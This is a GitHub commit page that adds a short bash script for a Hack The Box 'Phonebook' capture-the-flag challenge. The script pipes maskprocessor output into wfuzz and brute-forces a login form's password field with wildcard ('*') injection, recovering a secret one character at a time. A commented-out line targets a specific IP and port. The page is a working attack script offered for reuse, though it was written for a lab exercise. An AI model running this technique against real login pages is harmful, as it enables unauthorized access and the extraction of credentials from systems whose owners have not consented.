Skip to content

Commit

Permalink
Phonebook challenge fuzzer script
Browse files Browse the repository at this point in the history
  • Loading branch information
tsalomon committed Feb 23, 2021
1 parent bbafb12 commit 0e4a8c1
Showing 1 changed file with 32 additions and 0 deletions.
32 changes: 32 additions & 0 deletions phonebook.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#!/bin/bash

ip=$1
port=$2
partial=$3
pass=$partial
wildcard="*"

function fuzz {

clear
echo "$pass"

#efficiently generate the pattern
test=$(mp64 --custom-charset1=?l?u?d{}_ $pass?1$wildcard \
| wfuzz -v -X POST -z stdin --follow -u "http://${ip}:${port}/login" -d "username=Reese&password=FUZZ" 2> /dev/null \
| grep -v "http" | grep -v "Auth" | grep -v "failed" | grep -w -o "HTB[^\"]*");
#echo "cmd out: $pass"
pass=${test//\*/}
#echo "Fuzzing: $pass"

}


for char in {1..40}
do
fuzz
done

#mp64 --custom-charset1=?l?u?d{}_ HTB{?1*
#| wfuzz -z stdin --follow -u http://206.189.121.131:31946/login -X POST -v -d "username=Reese&password=FUZZ"
#| grep -v "http"| grep -v "Auth" | grep -v "failed" | grep -w -o "HTB[^\"]*"

0 comments on commit 0e4a8c1

Please sign in to comment.